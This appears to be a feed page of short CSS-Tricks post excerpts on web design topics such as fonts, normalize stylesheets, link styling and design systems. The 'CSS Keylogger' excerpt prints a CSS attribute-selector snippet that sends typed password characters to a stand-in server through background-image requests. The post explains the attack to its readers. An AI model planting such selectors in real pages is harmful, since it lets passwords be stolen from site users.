OR 

My Talk Writing Process

Some people have a talk-preparation process that is super organized and runs like a well-oiled machine. Mine, on the other hand, is a bit messy, but it works for me. Even when the end talk is polished and put together, it doesn‘t mean the whole process to get there was the same way. When putting together a new talk recently, I noticed there was most definitely a pattern to how my talks take shape. Here‘s how the talk-making process go

favicon of http://css-tricks.com

The Red Reveal: Illusions on the Web

In part one of a series of posts about optical illusions on the web, Dan Wilson looks at how to create the ‘Red Reveal‘ that he happens to describe like this: Growing up, my family played a lot of board games. Several games such as Outburst, Password, and Clue Jr. included something that amazed me at the time - a red lens and cards with some light blue text that was obscured by a myriad of red lines. When you The Red Reveal: Illusi

favicon of http://css-tricks.com

Complexity

Frank Chimero published a new talk-turned-essay, Everything Easy is Hard Again. May we all be as wonderfully self-reflective and eloquent as Frank one day. There is a lot there, so please read it. Part of the theme is that web design and development has seemingly repetitive cycles that can kick even quite experienced people back down the ladder: I don‘t feel much better at making [websites] after 20 years. My knowledge and skills develop a

favicon of http://css-tricks.com

Understanding Web Fonts and Getting the Most Out of Them

Using custom fonts is getting increasingly easier. We‘ll cover the basics of usage here and get into the more in-depth features that are helpful for developers who want to level up and aim to perfect advanced concepts, like loading font files. Understanding Web Fonts and Getting the Most Out of Them is a post from CSS-Tricks

favicon of http://css-tricks.com

CSS Keylogger

Scary little attack using essentially a bunch of attribute selectors like this: input[type="password"][value="a"] { background-image: url("http://localhost:3000/a"); } At first, I was like wait a minute, you can‘t select inputs based on what people type in them but only what‘s set on the attribute itself. Max Chehab shows how it is possible, however, because React uses "controlled components" that do this by default. Not to mention

favicon of http://css-tricks.com

modern-normalize

Another don‘t call it a reset from Sindre Sorhus. It‘s a port of Normalize that, as the name suggests, is modernized to remove some of the older stuff and add a few opinionated bits. I‘m good with light sensible opinions, like in this case, box-sizing: border-box; everywhere. This looks similar to sanitize.css which is also based on Normalize and brings a few more sensible opinions. Same with Reboot. If you‘re interested

favicon of http://css-tricks.com

Variable Order

A fascinating little tech demo by Roman Komarov that allows for clickable table sorting entirely in CSS. It‘s a combination of inline CSS custom properties, the order property, and calc(). This demo sparked a ton of conversation about accessibility, the crux of which is that the reordering is done only visually and not in the source. Which means that someone interacting directly with the source (a screen reader) might be mislead into thinki

favicon of http://css-tricks.com

Some Things I Recommend

Howdy. I‘m taking this week‘s "Sponsored Post" to give a shout out to some apps, courses, and services that I personally like. These things also have affiliate programs, meaning if you buy the thing, we earn a portion of that sale, which supports this site. That money goes to pay people to write the things we publish. That said, everything on this list is something that I‘m happy going on the record endorsing. PixelSnap: A ma

favicon of http://css-tricks.com

Your Sketch library is not a design system redux

I really like this post by Brad Frost about what is and isn‘t a design system, particularly when he de-emphasizes the importance of tools when it comes to that sort of work : ...components living inside static design tools like Sketch isn‘t itself a design system. Pardon my clickbait. Perhaps a better title would have been ‘Your Sketch library is not a(n entire) design system.‘ No doubt tools like Sketch are super valuable

favicon of http://css-tricks.com

CSS Basics: Fallback Font Stacks for More Robust Web Typography

In CSS, you might see a ruleset like this: html { font-family: Lato, "Lucida Grande", Tahoma, Sans-Serif; } What the heck, right? Why don‘t I just tell it what font I want to use and that‘s that? The whole idea here is fallbacks. The browser will try to use the font you specified first (Lato, in this case), but if it doesn‘t have that font available, it will keep going down that list. So to be really verbose here, CSS Basics

favicon of http://css-tricks.com

Shipping system fonts to GitHub.com

System font stacks got hot about a year ago, no doubt influenced by Mark Otto‘s work putting them live on GitHub. The why, to me, feels like (1) yay performance and (2) the site looks like the rest of the operating system. But to Mark: Helvetica was created in 1957 when the personal computer was a pipe dream. Arial was created in 1982 and is available on 95% of computers across the web. Millions, if not billions, of web Shipping system f

favicon of http://css-tricks.com

The JavaScript Learning Landscape in 2018

Raise your hand if this sounds like you: You‘ve been in the tech industry for a number of years, you know HTML and CSS inside-and-out, and you make a good living. But, you have a little voice in the back of your head that keeps whispering, "It‘s time for something new, for the next step in your career. You need to learn programming." Yep, same here. I‘ve served in a variety of roles in the tech industry for close to The JavaS

favicon of http://css-tricks.com

CSS Basics: Styling Links Like a Boss

You are probably well acquainted with how links looks without any styling at all. That blue. That underline. That‘s a link in it‘s purest form. But what if we want to change things up a bit? Perhaps blue doesn‘t work with your website‘s design. Maybe you have an aversion to underlines. Whatever the reason, CSS lets us style links just like any other element. CSS Basics: Styling Links Like a Boss is a post from CSS-Tricks

favicon of http://css-tricks.com

Wix.com: Make the Web Your Playground

(This is a sponsored post.) Here‘s something you should consider having: your own professional website. The only thing you‘ll need to get started is your imagination, a little free time, and an innovative website builder. Wix is the world‘s most technologically advanced website builder. Sign up for Wix, choose a template, and start customizing it. Whether you‘re a novice, a business owner, a sophisticated designer, or a p

favicon of http://css-tricks.com

Gotchas When Publishing Modules in npm and Bower

Bower and npm are de-facto the package managers of the web. I doubt there are many front-end developers out there who haven‘t heard of them or used them to manage dependencies. Whilst many of us use them as consumers, one day you might decide to share a project of your own and become a contributor! This happened to me recently. I had the experience of publishing my open-source library on npm and Bower. Although their official docs were quit

favicon of http://css-tricks.com

CSS Basics: The Second ‘S‘ in CSS

CSS is an abbreviation for Cascading Style Sheets. While most of the discussion about CSS on the web (or even here on CSS-Tricks) is centered around writing styles and how the cascade affects them, what we don‘t talk a whole lot about is the sheet part of the language. So let‘s give that lonely second "S" a little bit of the spotlight and understand what we mean when we say CSS is a style sheet. The Sheet Contains the CSS Basics: T

favicon of http://css-tricks.com

CSS Basics: Using Multiple Backgrounds

With CSS, you can control the background of elements. You can set a background-color to fill it with a solid color, a background-image to fill it with (you guessed it) an image, or even both: body { background-color: red; background-image: url(pattern.png); } Here‘s an example where I‘m using an SVG image file as the background, embedded right in the CSS as a data URL. See the Pen background color and image together by Chris Coyie

favicon of http://css-tricks.com